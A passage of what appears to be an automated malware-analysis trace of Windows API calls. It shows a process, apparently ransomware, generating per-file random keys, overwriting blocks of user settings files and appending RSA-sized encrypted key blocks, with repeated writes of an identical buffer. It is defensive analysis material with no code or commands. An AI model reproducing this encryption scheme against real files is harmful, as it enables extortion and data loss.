hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.894] WriteFile (in: hFile=0xe50, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.895] WriteFile (in: hFile=0xe50, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.895] CloseHandle (hObject=0xe50) returned 1 [0158.896] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0158.896] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.896] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.897] ReadFile (in: hFile=0xe50, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.897] SetFilePointer (in: hFile=0xe50, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.897] WriteFile (in: hFile=0xe50, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.897] SetFilePointer (in: hFile=0xe50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.897] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.897] WriteFile (in: hFile=0xe50, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.899] WriteFile (in: hFile=0xe50, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.899] CloseHandle (hObject=0xe50) returned 1 [0158.901] WriteFile (in: hFile=0xe58, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.902] CloseHandle (hObject=0xe58) returned 1 [0158.902] WriteFile (in: hFile=0xe58, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.903] CloseHandle (hObject=0xe58) returned 1 [0158.904] WriteFile (in: hFile=0xe58, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.905] CloseHandle (hObject=0xe58) returned 1 [0158.905] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.905] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.905] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.906] ReadFile (in: hFile=0xe6c, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.906] SetFilePointer (in: hFile=0xe6c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.906] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.906] SetFilePointer (in: hFile=0xe6c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.906] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.907] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.908] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.908] CloseHandle (hObject=0xe6c) returned 1 [0158.909] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.909] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0158.909] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.910] ReadFile (in: hFile=0xe6c, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.915] SetFilePointer (in: hFile=0xe6c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.915] WriteFile (in: hFile=0xe6c, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.915] SetFilePointer (in: hFile=0xe6c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.915] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.915] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.915] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.916] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.916] CloseHandle (hObject=0xe6c) returned 1 [0158.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.917] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.917] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.918] ReadFile (in: hFile=0xe6c, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.919] SetFilePointer (in: hFile=0xe6c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.919] WriteFile (in: hFile=0xe6c, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.920] SetFilePointer (in: hFile=0xe6c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.920] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.920] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.920] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.921] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.921] CloseHandle (hObject=0xe6c) returned 1 [0158.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.927] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.927] ReadFile (in: hFile=0xe6c, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.927] SetFilePointer (in: hFile=0xe6c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.927] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.928] SetFilePointer (in: hFile=0xe6c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.928] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.928] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.928] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.929] WriteFile (in: hFile=0xe6c, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.930] CloseHandle (hObject=0xe6c) returned 1 [0158.931] WriteFile (in: hFile=0xe74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.933] CloseHandle (hObject=0xe74) returned 1 [0158.934] WriteFile (in: hFile=0xe74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.935] CloseHandle (hObject=0xe74) returned 1 [0158.935] WriteFile (in: hFile=0xe74, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.937] CloseHandle (hObject=0xe74) returned 1 [0158.971] WriteFile (in: hFile=0xe78, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.972] CloseHandle (hObject=0xe78) returned 1 [0158.973] WriteFile (in: hFile=0xe78, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.974] CloseHandle (hObject=0xe78) returned 1 [0158.974] WriteFile (in: hFile=0xe78, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.975] CloseHandle (hObject=0xe78) returned 1 [0158.975] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0158.975] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.975] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.976] ReadFile (in: hFile=0xe8c, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.977] SetFilePointer (in: hFile=0xe8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.977] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.977] SetFilePointer (in: hFile=0xe8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.977] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.977] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.977] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.978] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.978] CloseHandle (hObject=0xe8c) returned 1 [0158.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0158.985] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.985] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.985] ReadFile (in: hFile=0xe8c, lpBuffer=0x2ec5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.994] SetFilePointer (in: hFile=0xe8c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.994] WriteFile (in: hFile=0xe8c, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.995] SetFilePointer (in: hFile=0xe8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.995] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.995] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.995] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.995] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.995] CloseHandle (hObject=0xe8c) returned 1 [0158.997] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0158.997] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0158.997] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.008] ReadFile (in: hFile=0xe8c, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.010] SetFilePointer (in: hFile=0xe8c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.010] WriteFile (in: hFile=0xe8c, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.010] SetFilePointer (in: hFile=0xe8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.010] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.010] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.010] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.011] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.011] CloseHandle (hObject=0xe8c) returned 1 [0159.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0159.014] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.014] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.6_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.015] ReadFile (in: hFile=0xe8c, lpBuffer=0x5c33f8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.015] SetFilePointer (in: hFile=0xe8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.015] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.016] SetFilePointer (in: hFile=0xe8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.016] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.016] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.016] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.017] WriteFile (in: hFile=0xe8c, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.017] CloseHandle (hObject=0xe8c) returned 1 [0159.019] WriteFile (in: hFile=0xe94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.020] CloseHandle (hObject=0xe94) returned 1 [0159.021] WriteFile (in: hFile=0xe94, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, 